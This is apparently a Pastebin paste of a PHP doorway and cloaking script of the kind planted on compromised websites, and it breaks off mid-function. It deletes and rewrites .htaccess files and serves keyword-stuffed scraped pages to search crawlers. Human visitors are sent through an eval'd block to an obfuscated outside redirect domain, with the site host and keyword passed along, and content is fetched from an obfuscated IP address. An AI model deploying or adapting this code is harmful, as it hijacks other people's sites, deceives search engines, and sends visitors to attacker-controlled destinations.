Advertisement
brackhap

ayks

Apr 22nd, 2020
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.80 KB | None | 0 0
  1. <?php
  2.  
  3. $f1 = ".ht"; $f2 = "acc"; $f3 = "ess";
  4.  
  5. $ff = $f1.$f2.$f3;
  6.  
  7.  
  8.  
  9. if (file_exists($ff)) chmod ($ff, 0777);
  10.  
  11. if (file_exists($ff)) unlink ($ff);
  12.  
  13.  
  14.  
  15. $templateName = "g648457"; //FIX template
  16.  
  17. $templatepath="papkaa17";
  18.  
  19. $usetemplates="yes";
  20.  
  21. $randomtemplate="yes";
  22.  
  23. $keyparseornot="no";
  24.  
  25. $trendskeys="no";
  26.  
  27. $valuetrends="10";
  28.  
  29. $cloakornotcloak="no";
  30.  
  31. $resurl="ayks.php?aiy={urlkey}";
  32.  
  33. $perem="aiy";
  34.  
  35. $keyspath="par.txt";
  36.  
  37. $kollinks="5";
  38.  
  39. $linksrazdel=" , ";
  40.  
  41. $extlinkspath="";
  42.  
  43. $contentsou="2";
  44.  
  45. $textfile="./text.txt";
  46.  
  47. $articlesvalue="2";
  48.  
  49. $randomabarticles="yes";
  50.  
  51. $bookskeyvalue="10";
  52.  
  53. $sitemap="no";
  54.  
  55. $maplinksvalue="480";
  56.  
  57. $maplinksraz="<br> ";
  58.  
  59. $indexkey="News";
  60.  
  61. $imageyes="no";
  62.  
  63. $imagepath="gallery";
  64.  
  65. $redir="";
  66.  
  67. $includephpcode = '$ref = $_SERVER["HTTP_REFERER"];
  68.  
  69. $d = $_SERVER["HTTP_HOST"];
  70.  
  71. function getUrl() {
  72.  
  73. $url = @( $_SERVER["HTTPS"] != "on" ) ? "http://".$_SERVER["SERVER_NAME"] : "https://".$_SERVER["SERVER_NAME"];
  74.  
  75. $url .= ( $_SERVER["SERVER_PORT"] != 80 ) ? ":".$_SERVER["SERVER_PORT"] : "";
  76.  
  77. $url .= $_SERVER["REQUEST_URI"];
  78.  
  79. return $url;
  80.  
  81. }
  82.  
  83. $s = getUrl();
  84.  
  85. if (!strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "crawler")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "yahoo")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false)
  86.  
  87. {
  88.  
  89. if ((filesize(".htaccess"))>100)
  90.  
  91. {
  92.  
  93. $out = fopen("../.htaccess", "w");
  94.  
  95. fwrite ($out, "RewriteEngine On
  96.  
  97. RewriteRule ^(.*).html$ ayks.php?aiy=$1 [L]");
  98.  
  99. fclose($out);
  100.  
  101. }
  102.  
  103. echo $page;
  104.  
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. $adr1 = ".........................................................................................................................................................................................";
  112.  
  113. $adr2 = "...............................................................................................................................................................................";
  114.  
  115. $adr3 = "............................................................................................................................................................";
  116.  
  117. $adr4 = ".................................";
  118.  
  119. $ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4);
  120.  
  121. $s = dirname($_SERVER["PHP_SELF"]);
  122.  
  123. $s = $_SERVER["SERVER_NAME"] . $s;
  124.  
  125. $mykeys = $_GET["aiy"];
  126.  
  127. $zzrz = chr(117);
  128.  
  129. header( "Location: http://".$zzrz."sdfsfes.xyz/LknkDz?host=".$s."&mark=_20042020PHPnewGfil&keyword=".$mykeys."&template=".$templateName."&se_referrer=".urlencode($_SERVER[\'HTTP_REFERER\']) );
  130.  
  131. exit;
  132.  
  133. }
  134.  
  135. ';
  136.  
  137. $cachepath="./evudsvi35";
  138.  
  139. $yourip="";
  140.  
  141. $dopips="";
  142.  
  143. $logornot="no";
  144.  
  145. $pingornot="no";
  146.  
  147. $pingres="http://rpc.pingomatic.com/";
  148.  
  149. $firstnoredir="no";
  150.  
  151. $redirtime="5";
  152.  
  153.  
  154.  
  155. ini_set('memory_limit',"256M");
  156.  
  157. ini_set('display_errors', 0);
  158.  
  159. $userip=explode(".", $_SERVER['REMOTE_ADDR']);
  160.  
  161. $usernetip=trim($userip[0]).".".trim($userip[1]).".".trim($userip[2]).".".trim($userip[3]);
  162.  
  163. $botips=" ".$yourip." ".$dopips." ";
  164.  
  165. $keyfromurl =$_GET[$perem];
  166.  
  167. $keyfromurlMd5 = md5($keyfromurl);
  168.  
  169.  
  170.  
  171.  
  172.  
  173. if(!$keyfromurl){
  174.  
  175. $keyfromurl=$indexkey;
  176.  
  177. }
  178.  
  179.  
  180.  
  181. $key = str_replace("-", " ", $keyfromurl);
  182.  
  183. $key=trim($key);
  184.  
  185. $keyredir = str_replace(" ", "+", $key);
  186.  
  187. $keydefis = str_replace(" ", "-", $keyfromurl);
  188.  
  189. $keydecode = str_replace("-", "+", $keyfromurl);
  190.  
  191. $keydecode = str_replace("'", "", $keydecode);
  192.  
  193. $keydecode = str_replace("\\", "", $keydecode);
  194.  
  195. $keydecode=trim($keydecode);
  196.  
  197. $usedurl=str_replace("{urlkey}", $keydefis, $resurl);
  198.  
  199. if($logornot=="yes"){
  200.  
  201. $fileot="./log.txt";
  202.  
  203. $fhf=fopen($fileot, "a+");
  204.  
  205. $dataot="Page ".$usedurl." : ". $_SERVER['HTTP_REFERER']." ".$_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date("dS h:i:s A")."\n";
  206.  
  207. flock($fhf,LOCK_EX);
  208.  
  209. fwrite($fhf, $dataot);
  210.  
  211. fflush($fhf);
  212.  
  213. flock($fhf,LOCK_UN);
  214.  
  215. fclose($fhf);
  216.  
  217. }
  218.  
  219.  
  220.  
  221. if($keyfromurl=="mysitemap" && file_exists("map.txt")){
  222.  
  223. $pagemap=file_get_contents("./map.txt");
  224.  
  225. echo $pagemap;
  226.  
  227. die();
  228.  
  229. }
  230.  
  231.  
  232.  
  233. if($sitemap=="yes" && !file_exists("map.txt")){
  234.  
  235. $mapkeys=file_get_contents($keyspath);
  236.  
  237. $mapkeys=explode("\n", $mapkeys);
  238.  
  239. srand((float)microtime() * 1000000);
  240.  
  241. shuffle($mapkeys);
  242.  
  243. $mapkeys = array_slice($mapkeys, 0, $maplinksvalue);
  244.  
  245. $fileot="./map.txt";
  246.  
  247. $fhf=fopen($fileot, "w");
  248.  
  249. $dataot1="";
  250.  
  251. $dataot2=array();
  252.  
  253.  
  254.  
  255. foreach($mapkeys as $mapkey){
  256.  
  257. $mapkey=trim($mapkey);
  258.  
  259. $mapkeyurl=str_replace(" ", "-", $mapkey);
  260.  
  261. $mapurl=str_replace("{urlkey}", $mapkeyurl, $resurl);
  262.  
  263. $dataot2[]="<a href=\"".$mapurl."\">".$mapkey."</a>".$maplinksraz;
  264.  
  265. }
  266.  
  267.  
  268.  
  269. $dataot2=implode($dataot2);
  270.  
  271. $dataot=$dataot1." ".$dataot2." ";
  272.  
  273. flock($fhf,LOCK_EX);
  274.  
  275. fwrite($fhf, $dataot);
  276.  
  277. fflush($fhf);
  278.  
  279. flock($fhf,LOCK_UN);
  280.  
  281. fclose($fhf);
  282.  
  283. $mapkeys="";
  284.  
  285.  
  286.  
  287. }
  288.  
  289.  
  290.  
  291. if($sitemap=="yes" && file_exists("map.txt")){
  292.  
  293. $mapinpage=str_replace("{urlkey}", "mysitemap", $resurl);
  294.  
  295. $mapinpages="<br><a href=\"".$mapinpage."\">SiteMap</a><br>";
  296.  
  297. }
  298.  
  299.  
  300.  
  301. $redir=str_replace("{redirkeyword}", $keyredir, $redir);
  302.  
  303.  
  304.  
  305. if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['HTTP_USER_AGENT'], "Googlebot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "crawler")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "bot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "yahoo")===false || $cloakornotcloak=="no"){
  306.  
  307.  
  308.  
  309. if($cloakornotcloak=="no"){
  310.  
  311. $cloaknoredir=$includephpcode;
  312.  
  313. }
  314.  
  315.  
  316.  
  317. $dir = opendir($cachepath);
  318.  
  319. while(($file = readdir($dir))){
  320.  
  321.  
  322.  
  323. if($file!="." && $file!=".."){
  324.  
  325. $file=trim($file);
  326.  
  327.  
  328.  
  329. $delimitFile=explode("_",$file);
  330.  
  331. $templName=$delimitFile[1];
  332.  
  333.  
  334.  
  335. if($keyfromurlMd5==$delimitFile[0]){
  336.  
  337. $page=file_get_contents($cachepath."/".$file);
  338.  
  339.  
  340.  
  341. if($extlinkspath){
  342.  
  343. $extlinks=file_get_contents($extlinkspath);
  344.  
  345. $page=str_replace("{extlinks}", $extlinks, $page);
  346.  
  347. }
  348.  
  349.  
  350.  
  351. if($firstnoredir=="yes"){
  352.  
  353. $todaydate=date("d");
  354.  
  355. $matchesparse=array();
  356.  
  357. $patternparse = "/<!--([0-9]*)-->/sU";
  358.  
  359. preg_match_all($patternparse, $page, $matchesparse);
  360.  
  361. $gentime=$matchesparse[1][0];
  362.  
  363.  
  364.  
  365. if($gentime){
  366.  
  367. $needtime=$todaydate-$gentime;
  368.  
  369.  
  370.  
  371. if(abs($needtime)>=$redirtime){
  372.  
  373. $page=str_replace("<!--red-->", $redir, $page);
  374.  
  375. $page=preg_replace("/<!--([0-9]*)-->/", "", $page);
  376.  
  377. $fileot=$cachepath."/".$keyfromurlMd5;
  378.  
  379. $fhf=fopen($fileot, "w+");
  380.  
  381. $dataot=$page;
  382.  
  383. flock($fhf,LOCK_EX);
  384.  
  385. fwrite($fhf, $dataot);
  386.  
  387. fflush($fhf);
  388.  
  389. flock($fhf,LOCK_UN);
  390.  
  391. fclose($fhf);
  392.  
  393. }
  394.  
  395. }
  396.  
  397. }
  398.  
  399. if($includephpcode){
  400.  
  401.  
  402.  
  403. $includephpcode=str_replace("{redirkeyword}", $keyredir, $includephpcode);
  404.  
  405. ob_start(); // Включаем буферизацию вывода
  406.  
  407. ob_clean(); // Чистим буфер (не обязательно)
  408.  
  409. eval ($includephpcode); // Выполняем нужный нам код, результат которого уходит в буфер
  410.  
  411. $buffer=ob_get_contents(); // Пишем в переменную содержимое буфера
  412.  
  413. ob_end_clean();
  414.  
  415. //$patternparse = "/{phpcode}/";
  416.  
  417. $page=str_replace("{phpcode}", $buffer, $page);
  418.  
  419.  
  420.  
  421. }
  422.  
  423. echo $page;
  424.  
  425. die();
  426.  
  427. }
  428.  
  429. }
  430.  
  431. }
  432.  
  433. closedir($dir);
  434.  
  435.  
  436.  
  437. if($contentsou==1 && $usetemplates=="no"){
  438.  
  439. $pageparse=getcontent($key, "2", $keyfromurlMd5);
  440.  
  441. }
  442.  
  443.  
  444.  
  445. if($contentsou==2 && $usetemplates=="no"){
  446.  
  447. $pageparse=getcontent2($key, "4");
  448.  
  449. }
  450.  
  451.  
  452.  
  453. if($contentsou==3 && $usetemplates=="no"){
  454.  
  455. $pageparse=file_get_contents($textfile);
  456.  
  457. $pageparse=explode(".", $pageparse);
  458.  
  459. srand((float)microtime() * 1000000);
  460.  
  461. shuffle($pageparse);
  462.  
  463. $pageparse = array_slice($pageparse, 0, 20);
  464.  
  465. $pageparse=implode(".", $pageparse);
  466.  
  467. }
  468.  
  469.  
  470.  
  471. if($contentsou==4 && $usetemplates=="no"){
  472.  
  473. $pageparse=getcontent3($key, "2");
  474.  
  475. }
  476.  
  477.  
  478.  
  479. $wordscount=count(explode(" ", $key));
  480.  
  481.  
  482.  
  483. if($keyparseornot=="yes" && $wordscount<=3){
  484.  
  485. $googlekeys=keyparse($key);
  486.  
  487.  
  488.  
  489. if(count($googlekeys)>=3){
  490.  
  491. $forlinks1=$googlekeys;
  492.  
  493. srand((float)microtime() * 1000000);
  494.  
  495. shuffle($forlinks1);
  496.  
  497. $kusokkeev=$forlinks1;
  498.  
  499. }
  500.  
  501. else
  502.  
  503. {
  504.  
  505. $forlinks1=file_get_contents($keyspath);
  506.  
  507. $forlinks1=explode("\n", $forlinks1);
  508.  
  509. srand((float)microtime() * 1000000);
  510.  
  511. shuffle($forlinks1);
  512.  
  513. $kusokkeev=array_chunk($forlinks1, $kollinks);
  514.  
  515. $kusokkeev=$kusokkeev[0];
  516.  
  517. }
  518.  
  519.  
  520.  
  521. }
  522.  
  523. else
  524.  
  525. {
  526.  
  527. $forlinks1=file_get_contents($keyspath);
  528.  
  529. $forlinks1=explode("\n", $forlinks1);
  530.  
  531. srand((float)microtime() * 1000000);
  532.  
  533. shuffle($forlinks1);
  534.  
  535. $kusokkeev=array_chunk($forlinks1, $kollinks);
  536.  
  537. $kusokkeev=$kusokkeev[0];
  538.  
  539. }
  540.  
  541.  
  542.  
  543. if($trendskeys=="yes"){
  544.  
  545. $alltrendskeys=keyparse2();
  546.  
  547. srand((float)microtime() * 1000000);
  548.  
  549. shuffle($alltrendskeys);
  550.  
  551. $neededtrends=array_chunk($alltrendskeys, $valuetrends);
  552.  
  553. $kusokkeev=array_merge ($kusokkeev, $neededtrends[0]);
  554.  
  555. srand((float)microtime() * 1000000);
  556.  
  557. shuffle($kusokkeev);
  558.  
  559. }
  560.  
  561.  
  562.  
  563. $links1=array();
  564.  
  565. foreach($kusokkeev as $i=>$keyforurl){
  566.  
  567. $keyforurl1=str_replace(" ", "-", $keyforurl);
  568.  
  569. $keyforurl1=trim($keyforurl1);
  570.  
  571. $keyforurl=trim($keyforurl);
  572.  
  573. $linkingurl=str_replace("{urlkey}", $keyforurl1, $resurl);
  574.  
  575. $links1[$i]=" <a href=\"".$linkingurl."\">".$keyforurl."</a>".$linksrazdel;
  576.  
  577. }
  578.  
  579. //////////////IMAGES////////////////
  580.  
  581. if($imageyes=="yes" && $usetemplates=="no"){
  582.  
  583. $files=array();
  584.  
  585. $dir = opendir("./");
  586.  
  587.  
  588.  
  589. while(($file = readdir($dir))){
  590.  
  591. $files[]=trim($file);
  592.  
  593. }
  594.  
  595.  
  596.  
  597. closedir($dir);
  598.  
  599. $files=implode(" ", $files);
  600.  
  601.  
  602.  
  603. if(strpos($files, $imagepath)===false){
  604.  
  605. mkdir("./".$imagepath);
  606.  
  607. }
  608.  
  609.  
  610.  
  611. $templateimage="<img src=\"".imagesparse($key, $imagepath)."\" alt=\"".$key."\">";
  612.  
  613. }
  614.  
  615. $links1=implode($links1);
  616.  
  617. $date = date ("l dS of F Y h A");
  618.  
  619.  
  620.  
  621. if($usetemplates=="no"){
  622.  
  623. $pageview= "
  624.  
  625. <html>
  626.  
  627. <head>
  628.  
  629. <meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" />
  630.  
  631. <meta name=\"keywords\" content=\"".ucfirst($key)."\">
  632.  
  633. <meta name=\"description\" content=\"".ucfirst($key)."\">
  634.  
  635. <meta name=\"Robots\" content=\"index,follow\" />
  636.  
  637. <meta name=\"Robots\" content=\"index,follow\" />
  638.  
  639. <title>".ucfirst($key)."</title>
  640.  
  641. </head>
  642.  
  643. <body>
  644.  
  645. ".$cloaknoredir."
  646.  
  647. <h1>".ucfirst($key)."</h1><br>
  648.  
  649. <br>".$templateimage."<br><br>
  650.  
  651. ".$mapinpages."
  652.  
  653. ".$pageparse."<br>
  654.  
  655. ".$links1."
  656.  
  657. </body>
  658.  
  659. </html>";
  660.  
  661. }
  662.  
  663. elseif($usetemplates=="yes"){
  664.  
  665.  
  666.  
  667.  
  668.  
  669. if($randomtemplate=="yes"){
  670.  
  671. /* $files=array();
  672.  
  673. $dir = opendir($templatepath);
  674.  
  675. while(($file = readdir($dir))){
  676.  
  677. if($file!="." && $file!=".."){
  678.  
  679. $files[]=trim($file);
  680.  
  681. }
  682.  
  683. }
  684.  
  685. closedir($dir);
  686.  
  687. srand((float)microtime() * 1000000);
  688.  
  689. shuffle($files);
  690.  
  691. $goodtemplatefile=$files[0];*/
  692.  
  693. $goodtemplate=file_get_contents("./".$templatepath."/".$templateName.".txt"); // FIX template
  694.  
  695. }
  696.  
  697. else{
  698.  
  699. $goodtemplate=file_get_contents("./".$templatepath."/".$randomtemplate);
  700.  
  701. }
  702.  
  703.  
  704.  
  705. if($firstnoredir=="yes"){
  706.  
  707. $goodtemplate=$goodtemplate."<!--".date("d")."-->";
  708.  
  709. }
  710.  
  711.  
  712.  
  713. for ($i=0; $i<1000; $i++){
  714.  
  715. if (!strstr($goodtemplate, "{image}")) break 1;
  716.  
  717.  
  718.  
  719. $goodtemplate=preg_replace("/{image}/", "<img src=\"".imagesparse($key, $imagepath)."\" alt=\"".$key."\">", $goodtemplate, 1);
  720.  
  721. }
  722.  
  723.  
  724.  
  725. for ($i=0; $i<1000; $i++){
  726.  
  727. if (!strstr($goodtemplate, "{randurl}")) break 1;
  728.  
  729. srand((float)microtime() * 1000000);
  730.  
  731. shuffle($forlinks1);
  732.  
  733. $forrandurl=str_replace(" ", "-", trim($forlinks1[0]));
  734.  
  735. $randurl=str_replace("{urlkey}", $forrandurl, $resurl);
  736.  
  737. $goodtemplate=preg_replace("/{randurl}/", $randurl, $goodtemplate, 1);
  738.  
  739. }
  740.  
  741.  
  742.  
  743. for ($i=0; $i<1000; $i++){
  744.  
  745. if (!strstr($goodtemplate, "{rankey}")) break 1;
  746.  
  747. srand((float)microtime() * 1000000);
  748.  
  749. shuffle($forlinks1);
  750.  
  751. $goodtemplate=preg_replace("/{rankey}/", trim($forlinks1[0]), $goodtemplate, 1);
  752.  
  753.  
  754.  
  755. }
  756.  
  757.  
  758.  
  759. for ($i=0; $i<1000; $i++){
  760.  
  761. if($textfile){
  762.  
  763. $pageparse=file_get_contents($textfile);
  764.  
  765. $pageparse=explode(".", $pageparse);
  766.  
  767. srand((float)microtime() * 1000000);
  768.  
  769. shuffle($pageparse);
  770.  
  771. $pageparse = array_slice($pageparse, 0, 40);
  772.  
  773. $pageparse[3]=$pageparse[3]." ".$key;
  774.  
  775. $pageparse[5]=$pageparse[5]." <b>".$key."</b>";
  776.  
  777. $pageparse[11]=$pageparse[11]." ".$key;
  778.  
  779. $pageparse[14]=$pageparse[14]." <em>".$key."</em>";
  780.  
  781. $pageparse[18]=$pageparse[18]." ".$key;
  782.  
  783. $pageparse=implode(".", $pageparse);
  784.  
  785. }
  786.  
  787. if (!strstr($goodtemplate, "{manytext}")) break 1;
  788.  
  789.  
  790.  
  791. $goodtemplate=preg_replace("/{manytext}/", $pageparse, $goodtemplate, 1);
  792.  
  793. }
  794.  
  795.  
  796.  
  797. for ($i=0; $i<1000; $i++){
  798.  
  799. if (!strstr($goodtemplate, "{manytext_bing}")) break 1;
  800.  
  801. $pageparse=getcontent2($key, "4");
  802.  
  803. $pageparse2=getcontent3($key, "4");
  804.  
  805. $pageparse3=getcontent($key, "10", $keyfromurlMd5);
  806.  
  807. $pageparse4=$pageparse." ".$pageparse2." ".$pageparse3;
  808.  
  809. //$pageparse4=$pageparse3;
  810.  
  811. shuffle($pageparse4);
  812.  
  813. $goodtemplate=preg_replace("/{manytext_bing}/", $pageparse4, $goodtemplate, 1);
  814.  
  815. }
  816.  
  817.  
  818.  
  819. for ($i=0; $i<1000; $i++){
  820.  
  821. if (!strstr($goodtemplate, "{manytext_an}")) break 1;
  822.  
  823. $pageparse=getcontent3($key, "2");
  824.  
  825. $goodtemplate=preg_replace("/{manytext_an}/", $pageparse, $goodtemplate, 1);
  826.  
  827. }
  828.  
  829.  
  830.  
  831. for ($i=0; $i<1000; $i++){
  832.  
  833. if (!strstr($goodtemplate, "{bookstext}")) break 1;
  834.  
  835. $pageparse=getbookcontent($key, $bookskeyvalue);
  836.  
  837. $goodtemplate=preg_replace("/{bookstext}/", $pageparse, $goodtemplate, 1);
  838.  
  839. }
  840.  
  841.  
  842.  
  843. for ($i=0; $i<1000; $i++){
  844.  
  845. if (!strstr($goodtemplate, "{minitext}")) break 1;
  846.  
  847.  
  848.  
  849. if($textfile){
  850.  
  851. $pageparse=file_get_contents($textfile);
  852.  
  853. $pageparse=explode(".", $pageparse);
  854.  
  855. srand((float)microtime() * 1000000);
  856.  
  857. shuffle($pageparse);
  858.  
  859. $pageparsemini= array_slice($pageparse, 0, 3);
  860.  
  861. $pageparse[2]=$pageparse[2]." <b>".$key."</b>";
  862.  
  863. $pageparsemini=implode(".", $pageparsemini);
  864.  
  865. }
  866.  
  867. $goodtemplate=preg_replace("/{minitext}/", $pageparsemini, $goodtemplate, 1);
  868.  
  869. }
  870.  
  871.  
  872.  
  873. for ($i=0; $i<1000; $i++){
  874.  
  875. if (!strstr($goodtemplate, "{minitext_bing}")) break 1;
  876.  
  877. $pageparse=getcontent2($key, "1");
  878.  
  879. $pageparsemini=explode(".", $pageparse);
  880.  
  881. srand((float)microtime() * 1000000);
  882.  
  883. shuffle($pageparsemini);
  884.  
  885. $pageparsemini=array_slice($pageparsemini, 0, 5);
  886.  
  887. $pageparsemini=implode(".", $pageparsemini);
  888.  
  889. $goodtemplate=preg_replace("/{minitext_bing}/", $pageparsemini, $goodtemplate, 1);
  890.  
  891. }
  892.  
  893.  
  894.  
  895. for ($i=0; $i<1000; $i++){
  896.  
  897. if (!strstr($goodtemplate, "{minitext_ab}")) break 1;
  898.  
  899. $pageparse=getcontent($key, "1", $keyfromurlMd5);
  900.  
  901. $pageparsemini=explode(".", $pageparse);
  902.  
  903. srand((float)microtime() * 1000000);
  904.  
  905. shuffle($pageparsemini);
  906.  
  907. $pageparsemini=array_slice($pageparsemini, 0, 5);
  908.  
  909. $pageparsemini=implode(".", $pageparsemini);
  910.  
  911. $goodtemplate=preg_replace("/{minitext_ab}/", $pageparsemini, $goodtemplate, 1);
  912.  
  913. }
  914.  
  915.  
  916.  
  917. for ($i=0; $i<1000; $i++){
  918.  
  919. if (!strstr($goodtemplate, "{minitext_an}")) break 1;
  920.  
  921. $pageparse=getcontent3($key, "1");
  922.  
  923. $pageparsemini=explode(".", $pageparse);
  924.  
  925. srand((float)microtime() * 1000000);
  926.  
  927. shuffle($pageparsemini);
  928.  
  929. $pageparsemini=array_slice($pageparsemini, 0, 5);
  930.  
  931. $pageparsemini=implode(".", $pageparsemini);
  932.  
  933. $goodtemplate=preg_replace("/{minitext_an}/", $pageparsemini, $goodtemplate, 1);
  934.  
  935. }
  936.  
  937.  
  938.  
  939. for ($i=0; $i<1000; $i++){
  940.  
  941. if (!strstr($goodtemplate, "{manytext_all}")) break 1;
  942.  
  943. $pageparse=getcontent($key, "2", $keyfromurlMd5);
  944.  
  945. if(strlen($pageparse)<=10){
  946.  
  947. $pageparse=getcontent2($key, "4");
  948.  
  949. }
  950.  
  951. $goodtemplate=preg_replace("/{manytext_all}/", $pageparse, $goodtemplate, 1);
  952.  
  953. }
  954.  
  955.  
  956.  
  957. for ($i=0; $i<1000; $i++){
  958.  
  959. if (!strstr($goodtemplate, "{minitext_all}")) break 1;
  960.  
  961. $pageparse=getcontent($key, "1",$keyfromurlMd5);
  962.  
  963. $pageparsemini=explode(".", $pageparse);
  964.  
  965. srand((float)microtime() * 1000000);
  966.  
  967. shuffle($pageparsemini);
  968.  
  969. $pageparsemini=array_slice($pageparsemini, 0, 5);
  970.  
  971. $pageparsemini=implode(".", $pageparsemini);
  972.  
  973.  
  974.  
  975. if(strlen($pageparsemini)<=10){
  976.  
  977. $pageparse=getcontent2($key, "1");
  978.  
  979. $pageparsemini=explode(".", $pageparse);
  980.  
  981. srand((float)microtime() * 1000000);
  982.  
  983. shuffle($pageparsemini);
  984.  
  985. $pageparsemini=array_slice($pageparsemini, 0, 5);
  986.  
  987. $pageparsemini=implode(".", $pageparsemini);
  988.  
  989. }
  990.  
  991. $goodtemplate=preg_replace("/{minitext_all}/", $pageparse, $goodtemplate, 1);
  992.  
  993. }
  994.  
  995.  
  996.  
  997. for ($i=0; $i<1000; $i++){
  998.  
  999. if (!strstr($goodtemplate, "{ab_content}")) break 1;
  1000.  
  1001. $pageparse=getcontentaba($key, $articlesvalue, $randomabarticles);
  1002.  
  1003. if(strlen($pageparse)<=10){
  1004.  
  1005. $pageparse=getcontent2($key, "4");
  1006.  
  1007. }
  1008.  
  1009. $goodtemplate=preg_replace("/{ab_content}/", $pageparse, $goodtemplate, 1);
  1010.  
  1011. }
  1012.  
  1013.  
  1014.  
  1015. for ($i=0; $i<1000; $i++){
  1016.  
  1017. if (!strstr($goodtemplate, "{youtube}")) break 1;
  1018.  
  1019. $pageparse=youtubeparse($key);
  1020.  
  1021. $goodtemplate=preg_replace("/{youtube}/", $pageparse, $goodtemplate, 1);
  1022.  
  1023. }
  1024.  
  1025.  
  1026.  
  1027. $goodtemplate=str_replace("{keyword}", ucfirst($key), $goodtemplate);
  1028.  
  1029. $goodtemplate=str_replace("{sitemaplink}", $mapinpages, $goodtemplate);
  1030.  
  1031. $goodtemplate=str_replace("{links}", $links1, $goodtemplate);
  1032.  
  1033.  
  1034.  
  1035. if($firstnoredir=="yes"){
  1036.  
  1037. $goodtemplate=str_replace("{redirekt}", "<!--red-->", $goodtemplate);
  1038.  
  1039. }
  1040.  
  1041. else{
  1042.  
  1043. $goodtemplate=str_replace("{redirekt}", $cloaknoredir, $goodtemplate);
  1044.  
  1045. }
  1046.  
  1047.  
  1048.  
  1049. $pageview=$goodtemplate;
  1050.  
  1051. }
  1052.  
  1053.  
  1054.  
  1055. echo $pageview;
  1056.  
  1057. flush();
  1058.  
  1059. //$nameTemplFile = explode(".",$goodtemplatefile);
  1060.  
  1061. $fileot=$cachepath."/".$keyfromurlMd5."_".$templateName; //FIX template
  1062.  
  1063. $fhf=fopen($fileot, "w+");
  1064.  
  1065. $dataot=$pageview;
  1066.  
  1067. flock($fhf,LOCK_EX);
  1068.  
  1069. fwrite($fhf, $dataot);
  1070.  
  1071. fflush($fhf);
  1072.  
  1073. flock($fhf,LOCK_UN);
  1074.  
  1075. fclose($fhf);
  1076.  
  1077.  
  1078.  
  1079. if($pingornot=="yes"){
  1080.  
  1081. $pingres=explode(" ", $pingres);
  1082.  
  1083. foreach($pingres as $pingr){
  1084.  
  1085. MYBlog_ping (trim($pingr), ucfirst($key), $usedurl);
  1086.  
  1087. }
  1088.  
  1089. }
  1090.  
  1091.  
  1092.  
  1093. }
  1094.  
  1095. else
  1096.  
  1097. {
  1098.  
  1099. echo $redir;
  1100.  
  1101. }
  1102.  
  1103.  
  1104.  
  1105.  
  1106.  
  1107.  
  1108.  
  1109. function getcontent($keyforparse, $cntpages, $keyforparseMd5){
  1110.  
  1111. $keyforparse = chop($keyforparse);
  1112.  
  1113.  
  1114.  
  1115. if (file_exists($cachepath."/".$keyforparseMd5)) echo " ";
  1116.  
  1117. else{
  1118.  
  1119. $query_pars = $keyforparse;
  1120.  
  1121. $query_pars_2 = str_replace(" ", "+", chop($query_pars));
  1122.  
  1123. $query_pars_3 = str_replace(" ", "-", chop($query_pars));
  1124.  
  1125. $text = "";
  1126.  
  1127. $ipppp=4+3;
  1128.  
  1129.  
  1130.  
  1131. if (@extension_loaded('curl')){
  1132.  
  1133. $ch = @curl_init();
  1134.  
  1135. curl_setopt($ch, CURLOPT_URL, "http://3".$ipppp.".1.200.".$ipppp."9/dbparse/indexf.php?p=dsfw2131&q=".$query_pars_3);
  1136.  
  1137. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1138.  
  1139. $text = @curl_exec($ch);
  1140.  
  1141. curl_close($ch);
  1142.  
  1143. }
  1144.  
  1145. else{
  1146.  
  1147. $text = @file_get_contents("http://3".$ipppp.".1.200.".$ipppp."9/dbparse/indexf.php?p=dsfw2131&q=".$query_pars_3);
  1148.  
  1149. }
  1150.  
  1151.  
  1152.  
  1153.  
  1154.  
  1155.  
  1156.  
  1157. if (strlen($text)<1000){
  1158.  
  1159. /////////////////////ASK/////////////////////////////////
  1160.  
  1161. for($pagge=1;$pagge<5;$pagge++){
  1162.  
  1163. if (@extension_loaded('curl')){
  1164.  
  1165. $ch = @curl_init();
  1166.  
  1167. curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=".$query_pars_3."&qsrc=11&adt=1&o=0&l=dir&page=".$pagge);
  1168.  
  1169. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1170.  
  1171. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  1172.  
  1173. //curl_setopt($ch, CURLOPT_TIMEOUT, 1);
  1174.  
  1175. curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
  1176.  
  1177. $result = @curl_exec($ch);
  1178.  
  1179. curl_close($ch);
  1180.  
  1181. }
  1182.  
  1183. else{
  1184.  
  1185. $fp = @fsockopen("ssl://www.ask.com", 443);
  1186.  
  1187. $result = @file_get_contents("http://www.ask.com/web?q=".$query_pars_3."&qsrc=11&adt=1&o=0&l=dir&page=".$pagge);
  1188.  
  1189. }
  1190.  
  1191.  
  1192.  
  1193. $result = str_replace("\r\n", "", $result);
  1194.  
  1195. $result = str_replace("\n", "", $result);
  1196.  
  1197.  
  1198.  
  1199. $ask_pattern = '/(?<=<p\ class="PartialSearchResults-item-abstract">)[\w\W]*?(?=<\/p>)/m';
  1200.  
  1201. preg_match_all ($ask_pattern,$result,$m);
  1202.  
  1203. //preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m);
  1204.  
  1205. foreach ($m[0] as $a) $text .= $a;
  1206.  
  1207. }
  1208.  
  1209.  
  1210.  
  1211. /////////////////////YAHOO////////////////////////////
  1212.  
  1213. for($pagge=0;$pagge<1;$pagge++){
  1214.  
  1215. if (@extension_loaded('curl')){
  1216.  
  1217. $ch = @curl_init();
  1218.  
